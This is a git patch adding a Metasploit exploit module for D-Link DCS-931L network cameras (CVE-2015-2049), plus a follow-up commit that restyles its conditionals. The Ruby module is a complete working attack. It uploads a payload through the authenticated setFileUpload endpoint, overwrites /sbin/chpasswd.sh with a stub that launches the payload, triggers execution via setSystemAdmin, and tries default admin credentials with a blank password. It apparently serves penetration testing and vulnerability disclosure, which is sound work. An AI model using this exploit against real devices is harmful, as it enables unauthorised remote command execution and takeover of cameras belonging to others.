From 7907c93047c854c1bc6dce45a98dfddec659de2d Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 5 Jan 2016 04:15:38 +0000 Subject: [PATCH 1/2] Add D-Link DCS-931L File Upload module --- .../linux/http/dlink_dcs931l_upload.rb | 196 ++++++++++++++++++ 1 file changed, 196 insertions(+) create mode 100644 modules/exploits/linux/http/dlink_dcs931l_upload.rb diff --git a/modules/exploits/linux/http/dlink_dcs931l_upload.rb b/modules/exploits/linux/http/dlink_dcs931l_upload.rb new file mode 100644 index 000000000000..d67b1c1660e8 --- /dev/null +++ b/modules/exploits/linux/http/dlink_dcs931l_upload.rb @@ -0,0 +1,196 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + HttpFingerprint = { :pattern => [ /alphapd/ ] } + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link DCS-931L File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in D-Link DCS-931L + network cameras. The setFileUpload functionality allows authenticated + users to upload files to anywhere on the file system, allowing system + files to be overwritten, resulting in execution of arbitrary commands. + This module has been tested successfully on a D-Link DCS-931L with + firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21). + D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly + affected, but untested. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mike Baucom', 'Allen Harper', 'J. Rach', # Initial discovery by Tangible Security + 'Brendan Coles ' # Metasploit + ], + 'Payload' => + { + 'Space' => 1024, # File upload + 'DisableNops' => true + }, + 'Platform' => 'linux', + 'Privileged' => false, + 'Targets' => + [ + [ 'Linux mipsle Payload', + { + 'Arch' => ARCH_MIPSLE, + 'Platform' => 'linux' + } + ] + ], + 'DefaultTarget' => 0, + 'References' => + [ + [ 'CVE', '2015-2049' ], + [ 'URL', 'https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities' ], + [ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10049' ] # Vendor advisory + ], + 'DisclosureDate' => 'Feb 23 2015')) + + register_options( + [ + OptString.new('USERNAME', [true, 'Camera username', 'admin']), + OptString.new('PASSWORD', [false, 'Camera password (default: blank)', '']) + ], self.class) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri('uploadfile.htm'), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])) + if !res + return Exploit::CheckCode::Unknown + elsif res && res.code && res.code == 404 + vprint_status("#{peer} - uploadfile.htm does not exist") + return Exploit::CheckCode::Safe + elsif res && res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS-931L"/ + vprint_error("#{peer} - Authentication failed") + return Exploit::CheckCode::Detected + elsif res && res.code && res.code == 200 && res.body && res.body =~ /Upload File/ + return Exploit::CheckCode::Vulnerable + end + Exploit::CheckCode::Safe + end + + def exploit + payload_path = "/tmp/.#{rand_text_alphanumeric(rand(8) + 5)}" + + # upload payload + res = upload(payload_path, generate_payload_exe) + if !res + fail_with(Failure::Unreachable, "#{peer} - Connection failed") + elsif res && res.code && res.code == 404 + fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist") + elsif res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ + print_good("#{peer} - Payload uploaded successfully") + else + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload payload") + end + register_file_for_cleanup(payload_path) + + # overwrite /sbin/chpasswd.sh with stub + res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n") + if !res + fail_with(Failure::Unreachable, "#{peer} - Connection failed") + elsif res && res.code && res.code == 404 + fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist") + elsif res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ + print_good("#{peer} - Stager uploaded successfully") + else + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager") + end + + # execute payload using stub + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri('setSystemAdmin'), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'vars_post' => Hash[{ + 'ReplySuccessPage' => 'advanced.htm', + 'ReplyErrorPage' => 'errradv.htm', + 'ConfigSystemAdmin' => 'Apply' + }.to_a.shuffle]) + if !res + fail_with(Failure::Unreachable, "#{peer} - Connection failed") + elsif res && res.code && res.code == 401 + fail_with(Failure::NoAccess, "#{peer} - Authentication failed") + elsif res && res.code && res.code == 200 && res.body + print_good("#{peer} - Payload executed successfully") + else + fail_with(Failure::UnexpectedReply, "#{peer} - Payload execution failed") + end + end + + # + # Replace chpasswd.sh with original contents + # + def cleanup + chpasswd = <<-EOF +#!/bin/sh +# +# $Id: chpasswd.sh, v1.00 2009-11-05 andy +# +# usage: chpasswd.sh [] +# + +if [ "$1" == "" ]; then + echo "chpasswd: no user name" + exit 1 +fi + +echo "$1:$2" > /tmp/tmpchpw +chpasswd < /tmp/tmpchpw +rm -f /tmp/tmpchpw +EOF + res = upload('/sbin/chpasswd.sh', chpasswd) + if res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ + vprint_good("#{peer} - Restored /sbin/chpasswd.sh successfully") + else + vprint_warning("#{peer} - Could not restore /sbin/chpasswd.sh to default") + end + end + + # + # Upload a file to a specified path + # + def upload(path, data) + vprint_status("#{peer} - Writing #{data.length} bytes to #{path}") + + boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}" + post_data = "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"ReplySuccessPage\"\r\n" + post_data << "\r\nreplyuf.htm\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"ReplyErrorPage\"\r\n" + post_data << "\r\nreplyuf.htm\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n" + post_data << "\r\n#{path}\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"UploadFile\"; filename=\"#{rand_text_alphanumeric(rand(8) + 5)}\"\r\n" + post_data << "Content-Type: application/octet-stream\r\n" + post_data << "\r\n#{data}\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"ConfigUploadFile\"\r\n" + post_data << "\r\nUpload File\r\n" + post_data << "--#{boundary}\r\n" + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri('setFileUpload'), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'ctype' => "multipart/form-data; boundary=#{boundary}", + 'data' => post_data) + end +end From 7259d2a65c225a9bd931c32e783d72dd7e6e4ffe Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 5 Jan 2016 13:05:01 -0600 Subject: [PATCH 2/2] Use unless instead of if ! --- .../linux/http/dlink_dcs931l_upload.rb | 42 ++++++++++++------- 1 file changed, 28 insertions(+), 14 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dcs931l_upload.rb b/modules/exploits/linux/http/dlink_dcs931l_upload.rb index d67b1c1660e8..bca4beed87e5 100644 --- a/modules/exploits/linux/http/dlink_dcs931l_upload.rb +++ b/modules/exploits/linux/http/dlink_dcs931l_upload.rb @@ -68,16 +68,21 @@ def initialize(info = {}) def check res = send_request_cgi( 'uri' => normalize_uri('uploadfile.htm'), - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])) - if !res + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'] + )) + + unless res + vprint_status("#{peer} - The connection timed out.") return Exploit::CheckCode::Unknown - elsif res && res.code && res.code == 404 + end + + if res.code && res.code == 404 vprint_status("#{peer} - uploadfile.htm does not exist") return Exploit::CheckCode::Safe - elsif res && res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS-931L"/ + elsif res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS\-931L"/ vprint_error("#{peer} - Authentication failed") return Exploit::CheckCode::Detected - elsif res && res.code && res.code == 200 && res.body && res.body =~ /Upload File/ + elsif res.code && res.code == 200 && res.body && res.body =~ /Upload File/ return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe @@ -88,11 +93,14 @@ def exploit # upload payload res = upload(payload_path, generate_payload_exe) - if !res + + unless res fail_with(Failure::Unreachable, "#{peer} - Connection failed") - elsif res && res.code && res.code == 404 + end + + if res.code && res.code == 404 fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist") - elsif res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ + elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ print_good("#{peer} - Payload uploaded successfully") else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload payload") @@ -101,11 +109,14 @@ def exploit # overwrite /sbin/chpasswd.sh with stub res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n") - if !res + + unless res fail_with(Failure::Unreachable, "#{peer} - Connection failed") - elsif res && res.code && res.code == 404 + end + + if res.code && res.code == 404 fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist") - elsif res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ + elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/ print_good("#{peer} - Stager uploaded successfully") else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager") @@ -121,11 +132,14 @@ def exploit 'ReplyErrorPage' => 'errradv.htm', 'ConfigSystemAdmin' => 'Apply' }.to_a.shuffle]) - if !res + + unless res fail_with(Failure::Unreachable, "#{peer} - Connection failed") - elsif res && res.code && res.code == 401 + end + + if res.code && res.code == 401 fail_with(Failure::NoAccess, "#{peer} - Authentication failed") - elsif res && res.code && res.code == 200 && res.body + elsif res.code && res.code == 200 && res.body print_good("#{peer} - Payload executed successfully") else fail_with(Failure::UnexpectedReply, "#{peer} - Payload execution failed")